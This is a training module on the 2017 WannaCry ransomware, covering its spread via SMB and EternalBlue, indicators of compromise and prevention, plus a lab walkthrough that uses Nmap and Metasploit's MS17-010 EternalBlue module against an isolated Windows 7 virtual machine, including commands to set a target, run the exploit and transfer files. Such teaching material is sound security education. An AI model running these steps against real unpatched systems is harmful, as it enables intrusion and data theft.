Module 01 – WannaCry Ransomware (Theory + Practical Revision)

1. What is Malware?

- Malware (**Malicious Software** – software created to damage, steal data, or disrupt a computer system) is a program designed to harm computers.

Examples:

- Virus
- Worm
- Trojan
- Ransomware

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2. What is Ransomware?

- Ransomware is a type of malware that encrypts (**locks**) the victim's files.
- The attacker demands money (**Ransom**) to restore access.
- Payment is usually requested in **Bitcoin (Cryptocurrency – digital money that works without banks).**

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3. What is WannaCry?

- WannaCry is a ransomware attack that mainly targeted Microsoft Windows systems.
- It became one of the largest cyberattacks in 2017.
- It spreads automatically between vulnerable computers.

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4. How does WannaCry spread?

The ransomware spreads using:

SMB (Server Message Block)

(**A Windows protocol used to share files, printers and folders between computers in the same network.**)

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WannaCry attacks a weakness in SMB.

EternalBlue

(**A Windows vulnerability exploit developed by the NSA and later leaked publicly. It allows attackers to enter vulnerable Windows computers without knowing the password.**)

WannaCry uses EternalBlue.

LAN (Local Area Network)

(**A group of computers connected within a small area like a home, office, college or hospital.**)

If one computer gets infected,
the malware can spread to other computers on the same LAN.

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5. Components of WannaCry

It has two parts:

Worm

(**A self-spreading malware that automatically infects other computers.**)

Ransomware

(**Encrypts files and demands money.**)

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6. What happens after infection?

After infecting the computer,

✔ Files become encrypted

✔ Desktop wallpaper changes

✔ Ransom message appears

✔ !Please Read Me!.txt file is created

✔ Files receive the **.WCRY** extension

(.WCRY indicates the file has been encrypted.)

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7. Which files are targeted?

Instead of memorizing hundreds of extensions,

remember these categories:

- Office Documents
- Images
- Videos
- Audio Files
- PDF Files
- Database Files
- Email Files
- Source Code
- Archives
- Virtual Machine Files

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8. Indicators of Compromise (IoC)

(**IoC = Evidence that shows a computer has been compromised by malware.**)

Examples:

- tasksche.exe
- mssecsvc.exe

- Batch Script
- Encrypted files
- Ransom note

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9. Prevention

- Install Windows Updates
- Apply Microsoft Patch MS17-010

(**Security Patch = Update released by Microsoft to fix security vulnerabilities.**)

- Disable SMBv1

(**Old version of SMB protocol containing security weaknesses.**)

- Backup important files
- Install Antivirus
- Block spam emails

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10. Network Security

Port 445

(**Port = A communication channel used by applications to send or receive network data.**)

Port 445 is used by **SMB**.

Since WannaCry attacks SMB,

blocking Port 445 helps stop the ransomware from spreading.

Network Segmentation

(**Dividing a large network into smaller secure parts.**)

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If one computer becomes infected,

the malware cannot easily spread to the remaining systems.

Practical Demonstration

Lab Environment

Attacker Machine

- Kali Linux

(**Linux distribution specially designed for cybersecurity testing.**)

Victim Machine

- Windows 7

Network

- NAT Network

(**Allows virtual machines to communicate with each other while remaining isolated from external networks.**)

Tools Used

- VirtualBox
- Kali Linux
- Windows 7
- Nmap

(**Network Scanner used to discover computers, open ports and running services.**)

- Metasploit

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(**Penetration Testing Framework containing many exploit modules used for security testing.**)

Commands Used

Check Kali IP Address

```
ifconfig
```

Purpose

Displays:

- IP Address
- Network Interface
- MAC Address

Scan the Network

```
nmap -sV 192.168.100.0/24
```

Meaning

- **nmap** → Network Mapper
- **-sV** → Detect Service Versions
- **192.168.100.0/24** → Scan every device in this network.

Purpose

Find:

- Live systems
- Open Ports
- Operating Systems

Start Metasploit

```
msfconsole
```

Purpose

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Starts the Metasploit Framework.

Search Exploit

```
search ms17_010
```

Purpose

Finds modules related to the MS17-010 vulnerability.

Load Exploit

```
use exploit/windows/smb/ms17_010_eternalblue
```

Purpose

Loads the EternalBlue exploit module.

View Options

```
show options
```

Purpose

Displays required parameters before running the selected module.

Set Victim IP

```
set RHOSTS <Victim_IP>
```

Meaning

RHOSTS = Remote Host(s), the IP address of the target machine.

Purpose

Specifies which machine the module should target in the lab.

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Execute Module

```
run
```

Purpose

Starts the selected module using the configured settings.

Check Session

```
getuid
```

Purpose

Displays the current user associated with the active session.

```
getpid
```

Purpose

Displays the Process ID (PID) of the active session.

Transfer Files

```
upload
```

Uploads a file from the Kali machine to the target system.

```
download
```

Downloads a file from the target system to the Kali machine.

Attack Flow

1. Create a NAT Network.
2. Connect Kali and Windows 7 to the same network.
3. Scan the network using Nmap.
4. Identify the vulnerable Windows machine.
5. Launch Metasploit.
6. Load the MS17-010 EternalBlue module.

7. Configure the target IP address.
8. Execute the module in the lab.
9. Observe the ransomware behavior in the controlled environment.
10. Analyze the effects and understand preventive measures.

Key Takeaways

- Learned the fundamentals of ransomware and the WannaCry attack.
- Understood how SMB and the EternalBlue vulnerability were involved.
- Practiced using Nmap and Metasploit in a controlled lab environment.
- Learned why regular updates, network segmentation, and backups are essential.
- Understood common cybersecurity terms such as **malware**, **ransomware**, **LAN**, **SMB**, **IoC**, **port**, **security patch**, and **NAT network**.